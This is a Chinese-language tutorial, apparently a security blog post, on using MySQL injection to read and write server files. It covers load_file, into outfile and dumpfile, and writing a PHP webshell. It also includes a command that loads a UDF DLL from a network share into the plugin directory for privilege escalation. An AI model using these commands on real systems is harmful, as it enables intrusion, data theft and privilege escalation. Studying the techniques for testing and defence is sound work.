MySQL注入 利用系统读、写文件
能读写文件的前提
不同系统、不同的数据库版本有细微差异,以下实验在Windows10和Mysql 5.7.26下操作;
1.拥有该File的读权限 or 该目录写的权限
2.当前用户的secure_file_priv属性的值不为NULL
Windows下的设置
修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
保存,重启mysql。
secure_file_priv属性值的设置:
- secure_file_priv为null 表示不允许导入导出 (5.7后为默认值)
- secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
- secure_file_priv没有设置时,则表示没有任何限制
[mysqld]
secure_file_priv=
# secure_file_priv= 表示对读写没有限制
# secure_file_priv= 在基线扫描时也是一个漏洞特征
Linux下的设置
在/etc/my.cnf的[mysqld]下面添加
[mysqld]
secure_file_priv=''
# 保存,重启mysql
pkill mysqld
ps -ef | grep mysqld
# 检查一下进程是否被干掉了
./mysql_safe &
没有读写权限的尝试
win:
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
也不报错,就是每执行一次就增加一行空值;
linxu:
报错:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
有SQL注入点,确认是否有读写权限
show global variables LIKE "secure_file_priv";
read
能读文件意味着系统敏感文件泄露,代码被审计;读远程文件;
准备好要读的文件
常用读文件函数,mysql在不同版本读取文件的函数可能会不同:
- load_file()
- load data infile()
- system cat
load_file()
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
sql> insert into read2_tb(word) values (load_file('D:/test.txt'))
[2019-08-15 10:55:11] 1 row affected in 4 ms
读入成功。
load_file( )函数支持网络路径。如果你可以将DLL复制到网络共享中,那么你就可以直接加载并将它写入磁盘。
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
load data infile()
load data infile 'D:/test.txt' into table read2_tb;
write
写命令可以将一条select语句的结果写到MySQL进程所有者拥有的完全可写权限的文件中。能写文件就意味着能写入shell, OS 区分Win\Linux之间的差别;
into outfile
将某列数据写出
use thirdweek;
select * from read2_tb where 1=1 into outfile 'D:/test2.txt';
# D:/test2.txt 不能存在,不然报错
[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists
自定义shell写出
select "123<?php ?>" into dumpfile '/home/Mysticbinary/test.so';
into dumpfile
Think about it carefully. Both of them are function writers. Are they different?
Reference:https://www.jb51.net/article/139858.htm
The difference beween outfile
and dumpfile
:
- 导出的行数不一样
- 转义输出
- 是否允许二进制文件
导出的行数区别
outfile
首先通过命令select * from test into outfile '/tmp/test.txt'
来使用outfile导出:
通过查看官方文档,可以看出使用如下参数可以进行格式调整
- FIELDS ESCAPED BY 可以用来对指定的字符进行转义
- FIELDS [OPTIONALLY] ENCLOSED BY 用来对字段值进行包裹
- FIELDS TERMINATED BY 用来对字段值之间进行分割
Example:select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'
Example out :
dumpfile
在通过命令select * from test into dumpfile '/tmp/test.txt'
来使用outfile导出:
命令执行时,命令提示超过一行
查看文件内容
通过dumpfile导出的数据行数据之间并未进行换行且只导出了部分数据。
转义输出
保持原数据格式
outfile
我们使用命令 select 'a\naa\raaaa' into outfile '/tmp/test.txt' 来看一下在常用的写文件场景下的结果
outfile对导出内容中的\n等特殊字符进行了转义,并且在文件内容的末尾增加了一个新行
dumpfile
使用命令 select 'a\naa\raaaa' into dumpfile '/tmp/test.txt';
可以看到dumpfile对文件内容是原稿写入,未做任何转移和增加。
基于这个原因,在UDF提权中一般使用dumpfile进行dll文件 写入的原因。
二进制文件
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中很棘手,因为会自动将单引号转义成\'
,请千万注意。
但dumpfile,后面的路径可以是单引号、0x、char转换的字符,但是路径中的斜杠是/
而不是\
。
因为dumpfile允许写二进制文件。
mysql写shell并利用成功的前提
1.拥有上面说的3个前提
2.能写入到可执行目录里面
3.能连接成功
利用mysql写shell的好处
内网扩散
数据库一般都在内网之中,与其他内网主机能互通,作为一个跳板机就很理想,不过需要注意OP/DBA这种岗位对这台SQL主机的持续监控;提权
一般进入主机可能是低权限或者匿名用户,但是通过SQL注入得到的登陆用户具有一定权限;利用SQL注入也是一种提权方式;
system + [shell command]
在mysql版本为5.x时,除了可以使用以上方式读写文件,还可以使用命令直接读写文件,前提是使用linux.
# read
system cat /test.txt
# writer
system vim /web/site/www/test/a.php
注意:
1.此方法只能在本地读取,远程连接mysql时无法使用system
2.无法越权操作
实验证明
$SQL1 = "select * from test_tb where name='lisi' and sex='0'";
//$SQL2 = "system date;";
$conn = getConnect();
$result = $conn->query($SQL1);
//$result = $conn->query($SQL2);
print_r($result);
在php远程连接mysql,然后执行了SQL1 和 SQL2, 发现执行的system的SQL语句失败。说明该关键字只能在本地的Linux Mysql上使用。
MySQL注入 利用系统读、写文件的更多相关文章
- java读/写文件
读取文件参考:https://blog.csdn.net/weixin_42129373/article/details/82154471 写入文件参考:https://blog.csdn.net/B ...
- Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码)[转]
cnrstar (Be My Personal Best!) | 2014-05-20 21:58 众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into ...
- read(),write() 读/写文件
read read()是一个系统调用函数.用来从一个文件中,读取指定长度的数据到 buf 中. 使用read()时需要包含的头文件: <unistd.h> 函数原型: ssize_t re ...
- C++ 二进制文件 读 写文件
1 #include <iostream> 2 #include <string> 3 #include<fstream> 4 using namespace st ...
- 关于使用 Java 分片读\写文件
分片读取文件方法: /** * 分片读取文件块 * * @param path 文件路径 * @param position 角标 * @param blockSize 文件块大小 * @return ...
- Mysql注入root权限直接写一句话马
首先我们的找到一个有注入的站:这里我用自己搭建的环境表示:大家不要乱来 http://localhost/pentest/sql/sql_injection_get.php?id=1 发现是root权 ...
- c# 读/写文件(各种格式)
最简单的: --------写 //content是要写入文本的字符串 //(@txtPath + @"\" + rid + ".txt");要被写入的TXT ...
- RandomAcessFile、MappedByteBuffer和缓冲读/写文件
项目需要进行大文件的读写,调查测试的结果使我决定使用MappedByteBuffer及相关类进行文件的操作,效果不是一般的高. 网上参考资源很多,如下两篇非常不错: 1.花1K内存实现高效I/O的Ra ...
- 6、Python 中 利用 openpyxl 读 写 excel 操作
__author__ = 'Administrator' from openpyxl import load_workbook # Excel_Util 类 class Excel_util: #初始 ...
随机推荐
- c语言实现--顺序表操作
经过三天的时间终于把顺序表的操作实现搞定了.(主要是在测试部分停留了太长时间) 1;线性表顺序存储的概念:指的是在内存中用一段地址连续的存储单元依次存储线性表中的元素. 2;采用的实现方式:一段地址连 ...
- Codeforces Round #295 (Div. 2) B. Two Buttons (DP)
题意:有两个正整数\(n\)和\(m\),每次操作可以使\(n*=2\)或者\(n-=1\),问最少操作多少次使得\(n=m\). 题解:首先,若\(n\ge m\),直接输出\(n-m\),若\(2 ...
- Atcoder Beginner Contest 168 D - .. (Double Dots) (BFS)
题意:有\(n\)个房间,在这些房间中两两连\(m\)次条边,问除了第一个房间,其他房间走到第一个房间的最短路径,输出这个房间所连的上一个房间,如果走不到,输出\(no\). 题解:刚开始我写了一个d ...
- Bone Collector II HDU - 2639 01背包第k最大值
题意: 01背包,找出第k最优解 题解: 对于01背包最优解我们肯定都很熟悉 第k最优解的话也就是在dp方程上加一个维度来存它的第k最优解(dp[i][j]代表,体积为i能获得的第j最大价值) 对于每 ...
- Redis 搭建与配置
Redis 简介 Redis 是一款开源的,ANSI C 语言编写的,高级键值(Key-Value)缓存和支持永久存储 NoSQL 数据库产品, Redis 采用内存(In-Memory)数据集(Da ...
- Leetcode(198)-打家劫舍
你是一个专业的小偷,计划偷窃沿街的房屋.每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警. 给定一个代表每 ...
- Doris开发手记1:解决蛋疼的MySQL 8.0连接问题
笔者作为Apache Doris的开发者,平时感觉相关Doris的文章写的很少.主要是很多时候不知道应该去记录一些怎么样的问题,感觉写的不好就会很慌张.新的一年,希望记录自己在Doris开发过程之中所 ...
- uni-app 实战-打包 📦 App
uni-app 实战-打包 App Android & iOS 证书 广告 refs xgqfrms 2012-2020 www.cnblogs.com 发布文章使用:只允许注册用户才可以访问 ...
- Google Chrome All In One
Google Chrome All In One Chrome Experiments Chrome 测试版 Chrome 开发者版 Chrome Canary 版 chrome://welcome/ ...
- jQuery 使用注意事项 与 小技巧(tips)
jQuery 使用注意事项 与 小技巧(tips) 1 $( document ).ready() https://learn.jquery.com/using-jquery-core/documen ...